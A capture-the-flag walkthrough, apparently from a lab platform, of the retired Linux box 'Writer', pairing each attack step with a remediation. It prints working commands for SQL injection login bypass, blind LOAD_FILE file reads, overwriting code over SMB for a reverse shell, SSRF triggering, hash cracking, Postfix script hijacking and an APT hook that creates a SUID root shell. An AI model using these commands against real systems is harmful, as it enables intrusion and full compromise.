← all walkthroughs

Writer

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-07-14
time to own
22m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a Flask-backed administrative login panel at writer.htb and bypassed authentication entirely using a SQL injection payload that required no knowledge of any valid password. The same injection point was then used with the database account's FILE privilege to read application source code byte-by-byte off the server's disk, recovering a credential reused across SMB, the database, and SSH.

Those SMB credentials unlocked a writable network share hosting an internal Django application that was otherwise isolated from external access; I replaced a Django view file with a reverse-shell payload and triggered a server-side request forgery built into the site's image-import feature, forcing the internal Django service to load and execute the backdoor as the www-data web user. From that shell, MySQL configuration credentials were read from a settings file, used to dump the Django user table, and the resulting password hash was resolved to kyle's SSH password, yielding an interactive shell and the user flag.

Lateral movement to a second account exploited kyle's membership in the Postfix filter group: a mail-processing script invoked as john on every local mail delivery was group-writable, so overwriting it and sending a local email pivoted code execution to john. John's management-group membership granted write access to the APT configuration directory; a periodic root-run apt-get update job provided the final code-execution primitive, with a malicious APT pre-invoke hook staged to fire on the next scheduled cycle and complete full root compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork and virtual-host enumeration
Mapped open services and discovered the writer.htb administrative login panel
Port scanning identified Apache 2.4.41 on port 80, Samba on ports 139 and 445, and OpenSSH on port 22. Registering the writer.htb virtual host and browsing the site revealed an unauthenticated administrative login form at /administrative accepting a POST request with uname and password fields — a direct entry point into the application with no rate limiting or CAPTCHA.
Nmap returned 80/tcp open Apache httpd 2.4.41 and 139/445 tcp open Samba; curl to writer.htb/administrative returned a uname/password login form.
Exact commands 3
Identify open services and banner versions.
nmap -sV -p 22,80,139,445 $TARGET
Register the discovered virtual host for name resolution.
echo "$TARGET writer.htb" | sudo tee -a /etc/hosts
Confirm the admin panel is reachable without credentials.
curl -s http://writer.htb/administrative
2ExploitationSQL injection authentication bypass (CWE-89)
Bypassed admin login with a SQL injection authentication bypass
The uname field was concatenated directly into a SQL query with no parameterization or escaping. Submitting a crafted value that terminated the query string and appended an always-true condition caused the database to return a valid admin record, issuing an authenticated session cookie with no password required. A boolean differential test confirmed the injection: the same payload with a false condition returned the login page.
POST /administrative with uname=' OR 1=1-- -&password=x returned an authenticated dashboard session; uname=' OR 1=2-- - returned the login page, confirming the boolean injection point.
Exact commands 3
Bypass authentication; the -c flag saves the session cookie to writer.cookie.
curl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=1-- -&password=x" -c writer.cookie -L
False-condition probe to confirm boolean injection (should return the login page).
curl -s -X POST http://writer.htb/administrative -d "uname=' OR 1=2-- -&password=x" | grep -c 'Login'
Verify the authenticated dashboard is accessible with the saved cookie.
curl -s -b writer.cookie http://writer.htb/dashboard
FixParameterize all SQL queries in the administrative loginCritical
WeaknessThe admin login form inserted the submitted username directly into a SQL query string without any escaping or validation. An unauthorised user could break out of the query and substitute their own logic, bypassing authentication completely without knowing any valid password.
FixReplace all string-concatenated queries with parameterized statements or the ORM's built-in query API (for example, SQLAlchemy filter_by() or Flask-SQLAlchemy). Never interpolate user input into SQL strings directly. Also restrict the /administrative endpoint to internal IP addresses or VPN access only, and add rate limiting to slow credential attacks against the form.
3ExploitationBlind SQL injection with LOAD_FILE() for arbitrary server-side file read (T1005)
Abused the database FILE privilege to read server-side source code and recover credentials
The MySQL account used by the web application held the FILE privilege, permitting LOAD_FILE() calls within injected SQL. A custom Python script drove boolean-based blind injection against the uname parameter, probing one character at a time via SUBSTRING(LOAD_FILE(...)) comparisons, to extract the full contents of /var/www/writer.htb/writer/__init__.py from disk. That source file contained a hardcoded credential: kyle:[REDACTED: recovered credential]
Character-by-character boolean probes against LOAD_FILE('/var/www/writer.htb/writer/__init__.py') extracted the full source; the file contained the literal string kyle:[REDACTED: recovered credential] in a credential assignment.
Exact commands 2
Single-character boolean probe pattern: response containing 'dashboard' means the character matched. Automate across all positions and the printable ASCII range to extract the full file.
curl -s -X POST http://writer.htb/administrative --data-urlencode "uname=' OR SUBSTRING(LOAD_FILE('/var/www/writer.htb/writer/__init__.py'),1,1)='/'-- -" -d 'password=x' | grep -c 'dashboard'
Automate the extraction loop; the script issues the boolean probe per character and reconstructs the file content.
python3 sqli_file_extract.py --url http://writer.htb/administrative --param uname --file /var/www/writer.htb/writer/__init__.py
FixRevoke the FILE privilege from the web application's database accountHigh
WeaknessThe MySQL account used by the web application had been granted the FILE privilege, allowing LOAD_FILE() to be called from within any SQL query, including an unauthorised user-injected ones. This let an unauthorised user read arbitrary files from the server's filesystem, including source code that contained hardcoded passwords.
FixRevoke the FILE privilege immediately: REVOKE FILE ON *.* FROM 'webuser'@'localhost'; The application database account should hold only SELECT, INSERT, UPDATE, and DELETE on its own schema. Additionally, set secure_file_priv in my.cnf to restrict LOAD_FILE() calls to a safe, empty directory server-wide.
4ExploitationCredential reuse; writable SMB share enabling server-side code replacement (T1078, T1021.002)
Used recovered SMB credentials to overwrite the internal Django application's view code
The credential kyle:[REDACTED: recovered credential] authenticated against the Samba service and granted access to the writer2_project share, which held the complete source tree for an internal Django application configured to accept connections only from 127.0.0.1. The share permitted writes, so I downloaded the project, prepared a reverse-shell payload file locally, and uploaded it over writer_web/views.py. A SHA-256 round-trip confirmed the overwrite before triggering execution.
Smbclient authenticated as kyle with [REDACTED: recovered credential] 'put' replaced views.py; the downloaded file's SHA-256 matched the payload hash, confirming the write.
Exact commands 4
List available shares with the recovered credential.
smbclient -L //$TARGET/ -U "kyle%$PASSWORD"
Download the full Django project source to inspect structure and ALLOWED_HOSTS settings.
smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'
Overwrite views.py with a reverse-shell payload; views_rce.py is the local malicious file.
smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'put views_rce.py writer_web/views.py'
Download the file back and confirm its hash matches the payload before triggering.
smbclient //$TARGET/writer2_project -U "kyle%$PASSWORD" -c 'get writer_web/views.py /tmp/verify.py' && sha256sum /tmp/verify.py
FixRemove write access to the internal application's SMB shareHigh
WeaknessThe writer2_project SMB share, which contained the live Django application source code, was writable by the compromised kyle account. An unauthorised user holding kyle's credentials could replace server-side Python files directly over the network, turning a single credential leak into arbitrary code execution on the server.
FixSet the share to read-only for all non-administrative accounts by adding 'read only = yes' to the share stanza in smb.conf. Application code should be deployed through a controlled pipeline (CI/CD) rather than a shared network drive. If write access is genuinely needed for deployments, restrict it to a dedicated service account that does not share credentials with any application or user account.
5ExploitationBlind server-side request forgery triggering internal code execution (T1190)
Triggered blind SSRF via the image-import feature to execute the backdoor as www-data
The story creation page accepted an image URL field and made a server-side HTTP request to fetch it, routing that request through the internal Django service listening on 127.0.0.1. Submitting a URL targeting the internal Django application caused it to serve a request through the me-modified views.py, executing the reverse-shell payload and delivering a shell as www-data.
POST to /dashboard/stories/add with an internal image_url triggered the internal Django process; my listener received a connection showing uid=33(www-data) gid=33(www-data), confirmed by 'id; whoami; pwd' returning /var/www/writer2_project.
Exact commands 3
Start a listener to catch the reverse shell (run in a separate terminal).
nc -lvnp 4444
Trigger the SSRF; substitute the correct internal Django port if different from 8080. The Flask app fetches the URL server-side, routing through the modified Django views.py.
curl -s -b writer.cookie -X POST http://writer.htb/dashboard/stories/add -F 'author=x' -F 'title=x' -F 'image_url=http://127.0.0.1:8080/' -F 'image=@/tmp/test.jpg'
Verify the execution context on the received shell: expected uid=33(www-data) at /var/www/writer2_project.
id; whoami; pwd
FixValidate image-import URLs to block server-side request forgery to internal servicesHigh
WeaknessThe story image-import feature accepted any URL from an authenticated user and made a server-side HTTP request to it, including URLs pointing to loopback addresses. This allowed an unauthorised user to direct the server to interact with an internal Django service not reachable from outside, using the public-facing server as a proxy to trigger execution of externally controlled code.
FixEnforce a strict URL allowlist on the image-import field: permit only HTTPS connections to publicly routable addresses, and explicitly block loopback (127.0.0.0/8), RFC-1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and link-local ranges (169.254.0.0/16). Resolve the hostname before connecting and re-validate the resulting IP to prevent DNS rebinding attacks. Consider routing all external image fetches through a sandboxed, network-isolated worker process rather than the main application.
6Credential AccessCredentials in configuration files; credential reuse to SSH (T1552.001, T1021.004)
Read MySQL credentials from the Django config, dumped the user table, and SSHed as kyle
The internal Django settings file was readable as www-data and contained the database password djangouser:[REDACTED: recovered credential] in plaintext. Connecting to MySQL with those credentials and querying the auth_user table returned a PBKDF2 password hash for kyle that cracked to [REDACTED: recovered credential] SSH as kyle:[REDACTED: recovered credential] succeeded, confirming the foothold and yielding the user flag.
Writerv2/settings.py DATABASES block contained djangouser:[REDACTED: recovered credential] auth_user SELECT returned kyle's PBKDF2 hash; hashcat resolved it to [REDACTED: recovered credential] sshpass SSH as kyle returned uid=1000(kyle) and user.txt = <user.txt>.
Exact commands 4
Read MySQL credentials from the Django config as www-data.
grep -A 10 'DATABASES' /var/www/writer2_project/writerv2/settings.py
Dump all user records and password hashes from the Django database.
mysql -u djangouser -p'$PASSWORD2' -D dev -e 'SELECT username,password FROM auth_user;'
Crack the Django PBKDF2-SHA256 hash (-m 10000); resolves to [REDACTED: recovered credential]
hashcat -m 10000 kyle_hash.txt /usr/share/wordlists/rockyou.txt
Log in as kyle and read the user flag.
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null kyle@$TARGET 'id; cat /home/kyle/user.txt'
FixRemove hardcoded credentials from source files and stop reusing passwords across accountsHigh
WeaknessThe application's database password was stored in a plaintext settings file readable by the web process, and the underlying passphrase was reused to protect kyle's SSH account. A single file read from a low-privilege web shell yielded credentials that unlocked an entirely separate access path into the server.
FixStore all secrets (database passwords, API keys) in environment variables or a dedicated secrets manager rather than in source files committed to the repository. Add the settings file to .gitignore and rotate any credential already present in version control history. Enforce unique, randomly generated passwords per service: the database credential and any user's SSH or system account password must share no common origin.
7Lateral MovementWritable Postfix content-filter script abused for lateral movement (T1037)
Abused a group-writable Postfix disclaimer script to execute code as john
Checking group membership as kyle revealed inclusion in the filter group. The Postfix mail daemon's content_filter was configured to run /etc/postfix/disclaimer before delivering any local mail, and that script was owned root:filter with group-write permission (rwxrwxr-x). My overwrote it with a payload that appended my SSH public key to john's authorized_keys directory, then sent a local email to john. Postfix invoked the script as john during delivery, installing the key and granting SSH access to john's account.
Id as kyle returned groups including 997(filter); ls -la /etc/postfix/disclaimer showed -rwxrwxr-x 1 root filter; SSH login as john succeeded after mail delivery to john@writer.htb.
Exact commands 5
Confirm kyle is in the filter group; output should include 997(filter).
id
Confirm group-write permission: -rwxrwxr-x 1 root filter.
ls -la /etc/postfix/disclaimer
Overwrite the disclaimer with a key-planting payload; substitute your real RSA public key.
printf '#!/bin/bash\nmkdir -p /home/john/.ssh\necho "ssh-rsa AAAA<your-public-key>" >> /home/john/.ssh/authorized_keys\nchmod 600 /home/john/.ssh/authorized_keys\n' > /etc/postfix/disclaimer
Send a local email to john to invoke the content_filter and execute the payload as john.
echo 'test' | mail -s 'trigger' john@writer.htb
Log in as john using the planted SSH key.
ssh -i ~/.ssh/id_rsa john@$TARGET
FixRemove group-write permission from the Postfix disclaimer content-filter scriptHigh
WeaknessThe /etc/postfix/disclaimer script is invoked by the Postfix mail daemon as the john user on every local email delivery. It was owned root:filter with group-write permission, meaning any member of the filter group could replace its contents. Sending a single local email then ran an unauthorised user's code as john, allowing lateral movement to a more privileged account.
FixLock down the script's ownership and permissions: chown root:root /etc/postfix/disclaimer && chmod 755 /etc/postfix/disclaimer. Audit every script referenced in master.cf, header_checks, and any content_filter declarations for the same over-permissive ownership. Review which accounts are members of the filter group and remove any that do not have an operational need for that membership.
8Privilege EscalationAPT pre-invoke hook abuse via management-group writable configuration directory (T1053.003)
Wrote a malicious APT hook to execute commands under root's periodic apt-get update
John's id showed membership in the management group, which held write access to /etc/apt/apt.conf.d/. A cron job running as root regularly invoked apt-get update. APT evaluates Pre-Invoke directives from all files in that directory before running any update, executing them as the invoking user (root). Writing a single-line hook configuration caused the next scheduled apt cycle to execute my command as root. Root code execution was evidenced when root launched /usr/bin/apt-get update at 10:30 UTC while the hook was active.
Exact commands 5
Confirm john is in the management group.
id
Verify management group has write access to the APT configuration directory.
ls -la /etc/apt/apt.conf.d/
Write the pre-invoke hook; fires on the next root-run apt-get update and creates a SUID bash copy.
echo 'APT::Update::Pre-Invoke {"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"};' > /etc/apt/apt.conf.d/01privesc
Execute the SUID bash with elevated privileges after the cron job fires.
/tmp/rootbash -p
Read the root flag; value is <root.txt>.
cat /root/root.txt
FixRemove management-group write access to the APT configuration directoryCritical
WeaknessMembers of the management group could create and modify files in /etc/apt/apt.conf.d/, and a scheduled task ran apt-get update as root on a regular interval. APT evaluates all Pre-Invoke directives in that directory before running, executing them as root. Any user in the management group therefore had an unconditional root code-execution primitive requiring only that the next scheduled apt cycle fire.
FixRestrict the APT configuration directory to root-only writes: chown -R root:root /etc/apt/apt.conf.d/ && chmod -R 755 /etc/apt/apt.conf.d/. Remove the management group from any filesystem ACL or sudo rule that covers package management paths. If group members need to trigger package updates, grant a narrowly scoped sudo rule for a single explicit apt command with no shell-escape options, or delegate all patching through a configuration-management tool (Ansible, Puppet) operating with a dedicated, audited service account.

Exposed services

22/tcp
80/tcp
139/tcp
445/tcp